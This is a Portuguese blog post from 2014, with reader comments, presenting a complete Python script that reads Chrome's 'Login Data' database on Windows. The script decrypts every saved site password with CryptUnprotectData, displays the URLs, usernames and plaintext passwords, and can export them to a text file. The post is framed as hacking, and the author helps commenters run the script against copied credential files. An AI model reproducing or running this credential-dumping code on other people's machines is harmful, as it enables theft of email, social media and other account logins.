Como Capturar Senhas de Sites no Google Chrome (Chrome Password) – Python

Publicado: 13 de agosto de 2014 em Hacking, Python

O Google Chrome é o navegador mais utilizado na internet atualmente, segundo vários sites nacionais e internacionais especializados no assunto, para confirmar basta digitar no Google, O Chrome é um dos navegadores preferidos pelos quesitos, velocidade e segurança.

Segundo a empresa Google: “O Google Chrome foi projetado para manter você mais protegido e seguro na web com uma proteção integrada contra malware e phishing, atualizações automáticas para garantir que você tenha as últimas atualizações de segurança e muito mais…”.

Isto todos concordamos! Mas uma combinação fatal formada pelo, Google Chrome + Windows + Usuário, pode levar toda esta tecnologia de segurança por agua a baixo. Isto porque se analisarmos o conceito de segurança do sistema operacional Windows no contexto do usuário local, somado ao banco de dados pra lá de manjado que o Google escolheu para guardar suas credenciais criptografadas (SqlLite3), associado a um usuário que prefere comodidade ao ter que digitar sempre sua senha.

Google Chrome

Google Chrome

Está pronto, um perigoso coquetel, e talvez amargo de ser saboreado, pois pode levar você a perder todas as suas credencias dos sites que você mais utiliza como: Gmail, Hotmail, Facebook, Instagram e qualquer outro site no qual você escolher salvar no seu navegador. Não se preocupe se é necessário descriptografar as senhas no contexto do usuário que as criptografou um desenvolvedor mal intencionado pode providenciar isto facilmente.

Como Descriptografar as senhas do Google Chrome

A poderosa linguagem de programação Python permite que você faça coisas mirabolantes de um modo simples no qual antes era possível apenas com complexos códigos em C. Utilize os links abaixo para saber como o programa funciona e conceitos sobre o qual utilizamos para capturar e exibir as senhas do Google Chrome

DA - Google Chrome Password Recovery

DA – Google Chrome Password Recovery

Requisitos

Linguagem:  Python.

Nivel: Fácil.

Modulos Externos Python: Download WxPython PyWin32

Detalhes Sobre a Criptografia: CryptUnprotectData

Detalhes Sobre o Armazenamento de credenciais Google Chrome: SQLLite

Local físico de armazenamento das credenciais: C:\Users\Usuario\AppData\Local\Google\Chrome\User Data\Default

Nome do banco de dados: Login Data

Projeto Open Source

Você encontra uma versão deste programa atualizada e convertida para um executável do Windows, e também os códigos fontes da ultima versão desta ferramenta no seguinte link:

Projeto hospedado: https://code.google.com/p/google-chome-pass-recovery/source/browse/

 

Exemplo:

Neste exemplo criamos um simples programa na linguagem de programação Python que captura os sites e exibe as senha armazenadas pelo navegador Google Chrome.

Licença: http://opensource.org/licenses/MIT

Python

#!/usr/bin/env python
# -*- coding: latin-1 -*-
# Versão 1.2 - Betha
# CapturaSenhaChrome.py

# The MIT License (MIT)
#
# Copyright (c) 2014 - Ricardo Mantovani - Desenvolvimento Aberto
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.

# importa modulos
import wx
import wx.grid
import win32crypt
import sqlite3
import os
import getpass
import datetime
import platform

# Cria classe generica de uma WX.Grid
# A classe abaixo faz parte da documentação WXPython oficial
# Este trecho de código é util para manipular a grade

class GenericTable(wx.grid.PyGridTableBase):
    def __init__(self, data, rowLabels = None, colLabels = None):
        wx.grid.PyGridTableBase.__init__(self)
        self.data = data
        self.rowLabels = rowLabels
        self.colLabels = colLabels

    def GetNumberRows(self):
        return len(self.data)

    def GetNumberCols(self):
        return len(self.data[0])

    def GetColLabelValue(self, col):
        if self.colLabels:
            return self.colLabels[col]

    def GetRowLabelValue(self, row):
        if self.rowLabels:
            return self.rowLabels[row]

    def IsEmptyCell(self, row, col):
        return False

    def GetValue(self, row, col):
        return self.data[row][col]

    def SetValue(self, row, col, value):
        pass   

# Inicializa Grade
dados = []
colLabels = ["Site (Action URL)", "Usuário (User)", "Senha (Password)"]
rowLabels = []
for linha in range(1, 150):
    rowLabels.append(str(linha))

# Conecta ao banco de dados do usuario local
# Requer elevação de privilegios se o Chrome estiver aberto
conn = sqlite3.connect(os.getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()

# Captura informações de login
cursor.execute('SELECT action_url, username_value, password_value FROM logins')

# Retorna resultados
resultado = cursor.fetchall()
for result in resultado:
  # Descriptografa senha
  # CryptUnprotectData requer o contexto do usuario local
  senha = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  if senha:
      captura = [result[0], result[1], senha]
      dados.append(captura)

# Cria classe da grid
class SimpleGrid(wx.grid.Grid):
    def __init__(self, parent):
        wx.grid.Grid.__init__(self, parent, -1, pos=(5, 10), size=(850, 240))
        tableBase = GenericTable(dados, rowLabels, colLabels)
        self.SetTable(tableBase)                   

# Cria formulario

class Formulario(wx.Frame):
    def __init__(self, parent):
        # Cria Formulario
        wx.Frame.__init__(self, parent, -1, "Google Chrome Password Recovery", size=(880, 350))
        panel = wx.Panel(self, wx.ID_ANY)

        # Cria Menu
        menu = wx.Menu()
        menu.Append(5000, "S&alvar")
        menu.Append(5001, "Sai&r")

        menu1 = wx.Menu()
        menu1.Append(6001, "&Sobre", "Informação sobre este programa")

        # Cria Barra de menus
        menubarra = wx.MenuBar()
        menubarra.Append(menu, "&Arquivo")
        menubarra.Append(menu1, "&Sobre")
        self.SetMenuBar(menubarra)

        # Barra de status
        statusbar = self.CreateStatusBar(5)

        # Retorna data
        dataA = datetime.datetime.today()
        dataA = dataA.strftime('%d-%b-%Y')

        # Set today date in the second field
        self.SetStatusText("Estação: " + os.environ['COMPUTERNAME'], 0)
        self.SetStatusText("Usuario: " + getpass.getuser(), 1)
        self.SetStatusText("Data Atual: " + dataA, 2)
        self.SetStatusText(self.plataforma(), 3)
        self.SetStatusText("Desenvolvimento Aberto - 2014", 4)

        # Declara Eventos dos menus
        self.Bind(wx.EVT_MENU, self.OnSalvar, id=5000)
        self.Bind(wx.EVT_MENU, self.OnSair, id=5001)
        self.Bind(wx.EVT_MENU, self.OnSobre, id=6001)

        # Cria Grid de dados
        grid = SimpleGrid(panel)
        grid.SetColSize(0, 430)
        grid.SetColSize(1, 230)
        grid.SetColSize(2, 108)

    def plataforma(self):
        sistema = "OS: " + platform.system() + \
                  " - " + platform.release() + \
                  " - " + platform.version()
        return sistema

    # Cria evento para Salvar Arquivo.
    def OnSalvar(self, evt):
        saveFileDialog = wx.FileDialog(self, "Salvar Como", "", "",
                                       "Arquivos Texto (*.txt)|*.txt",
                                       wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT)

        if saveFileDialog.ShowModal() == wx.ID_CANCEL: return

        # Cria arquivo e adiciona conteudo
        arquivo = saveFileDialog.GetPath()

        file = open(arquivo, "w")

        conteudo = "Google Chrome Password Recovery - Powered by Desenvolvimento Aberto 2014\n\n" + \
                   "Sistema Operacional: " + self.plataforma().replace("OS:","") + "\n" + \
                   "Estação: " + os.environ['COMPUTERNAME'] + "\n" + \
                   "Usuario: " + getpass.getuser() + "\n" + \
                   "Data Extração: " + datetime.datetime.today().strftime('%d-%b-%Y') + "\n\n" + \
                   "Registros encontrados: \n\n"

        for reg in dados:
            conteudo = conteudo + str(reg) + "\n"
        file.write(str(conteudo))
        file.close()
        saveFileDialog.Destroy()

    # Cria evento de saida
    def OnSair(self, evt):
        self.Close(True)

    # Cria evento sobre
    def OnSobre(self, evt):
        # Cria texto para ferramenta
        texto = "Powered by Desenvolvimento Aberto\n\n" + \
                "Autor: Ricardo Mantovani\n" + \
                "E-mail: desenvolvimento.aberto@live.com\n" + \
                "Versão: 1.2 - Betha\n\n" + \
                "Coogle Code:\n" + \
                "http://code.google.com/p/google-chome-pass-recovery"
        # Cria caixa de texto
        msg = wx.MessageBox(texto, 'Info', wx.OK | wx.ICON_INFORMATION)
        msg.ShowModal()

# Inicializa a aplicação
app = wx.App()
frame = Formulario(None)
frame.Show(True)
app.MainLoop()
Anúncios
comentários
  1. Rosberg disse:

    Gostaria de saber como um leigo usa o software “Google Chrome Pass Recovery”? Tentei usar de todas as formas, mas apareceu erro. O DA Google Chrome Password Recovery V1-3 Win x64.rar, não roda no meu computador clicando no executavel. Tentei copiar aquele código do video e até baixei o Python, mas deu esse erro: “Traceback (most recent call last): File “C:/Users/Rosberg/Desktop/1″, line 29, in import wx ImportError: No module named wx” No video, o arquivo não pede para salvar no Python. Já comigo pede! Sou bem leigo e estou com dificuldade. Mas de qualquer forma, parabéns pelo projeto. Grande Abraço!!!

  2. Olá Rosberg,

    O DA Google Chrome Password Recovery V1-3 Win x64.rar, é um arquivo compactado pelo software Winrar, que é semelhante ao Zip, você precisa instalar o Winrar para descompactar o arquivo.

    Winrar: http://www.rarlab.com/

    Quando descompactar você terá uma pasta chamada “GoogleChromePasswordRecovery” e dentro dela o executável: “CapturaSenhaChrome.exe” e suas dependências. Este é o arquivo executável para o Windows 8 que você pode rodar para utilizar a ferramenta.

    Agora se quiser compilar o script Python, você precisa instalar também os módulos externos WxPython e PyWin32 que estão faltando por isto este erro, caso queira instalar o link esta disponível logo acima, no tópico requisitos.

    Espero que tenha ajudado,

    Abraços.

  3. Rosberg disse:

    Fiz tudo que você falou, mas não deu certo. Eu descompactei O DA Google Chrome Password Recovery V1-3 Win x64.rar. Aí, cliquei em “CapturaSenhaChrome.exe”, mas abre uma tela de MS-DOS e fecha rapidamente. O software não abre. É assim mesmo? Obrigado e aguardo mais dicas. Desde já agradeço! Abraços!

    • Olá Rosberg,

      É assim mesmo, abre uma tela do ms-dos e logo após abre uma tela do Windows com o programa, isto devido ao py2exe, o que acontece é que o exe que foi gerado não é compatível com a versão do seu Windows.

      Você tem que compilar o script igual ao vídeo e depois pode gerar um executável utilizando o py2exe.

      Para compilar instale o WxPython e o Pywin32 e rode o código fonte do projeto. Depois se quiser gerar um exe, você pode utilizar o arquivo Setup.py que esta no projeto, utilizando o py2exe.

      Abraços.

  4. Leonardo Pereira disse:

    Ao executar o código, esta dando o erro, SyntaxError: (unicode error) ‘unicodeescape’ code can’t decode bytes in position 23-24 : truncated\uxxxxxxxx escape

    O erro referido a cima se encontra nessa linha, mas especificamente ele marca o “+” em vermelho.

    conn = sqlite3.connect(getenv(“APPDATA”) + “..\Local\Google\Chrome\User Data\Default\Login Data”)

    Sabe me dizer oque pode ser?

    • Olá leonardo,

      Este programa foi escrito em Python 2.7 e utiliza o codepage 1252 do Windows equivalente ao Latin1, e como você pode ver no vídeo roda sem problemas.
      Você pode tentar utilizar a seguinte sintaxe:

      r”\..\Local\Google\Chrome\User Data\Default\Login Data”

      “\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data”

      “/../Local/Google/Chrome/User Data/Default/Login Data”

      Obs: na linha que você colou aqui está faltando a primeira barra do caminho, verifique se no seu código está correto.

      Abraços.

  5. Renato disse:

    Ricardo, boa tarde.

    Eu possuo um backup do aquivo “login data” do chrome, onde estão as senhas que preciso. Porém tentei encontrar seu executável no link acima e não consegui. Seu projeto ainda está ativo? Se estiver, poderia por favor me disponibilizar o link do executável?

    Desde já agradeço sua ajuda!

    • Olá Renato,

      O Google Code foi desativado e por isso não existe mais os links de arquivos lá, você precisa baixar o projeto no Git hub e executar o codigo deste mesmo post.

      O código é Python por padrão não gera um executável, mas você pode cria-lo se desejar usando um framework para isto.

      Espero ter ajudado.

      • Renato disse:

        Boa tarde, Ricardo. Primeiramente, obrigado por responder tão prontamente.

        Ocorre que eu não sei simplesmente nada de programação. Possuo uma assistência técnica que trabalha com telefonia, informática e eletrônica. E por acidente desinstalamos o google Chrome de uma cliente.

        Após a desinstalação, a pasta default continuava lá. Tentei reinstalar e substituir os arquivos pelos antigos, mas sem sucesso. Daí me deparei com seu site.

        o sr não teria ele em .exe que pudesse me enviar por email ou upar no google drive?

    • Olá Renato,

      Não possuo o executavel, pois em Python ele não faz diferença, você precisa instalar os frameworks acima e rodar o script Phyton na maquina onde vc quer obter os dados, você apontar para qualquer banco de dados do chrome simplesmente alterando o código.

      Entretanto existem ferramentas prontas que fazem isto pagas e gratuitas,
      Você pode procurar no google uma ferramenta da NIRSOFT que é gratuita e faz o mesmo que o programa acima, alguns antivirus podem dar um falso positivo nestas ferramentas, não se assuste.

      http://www.nirsoft.net/utils/chromepass.html

      Espero ter ajudado,

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

w

Conectando a %s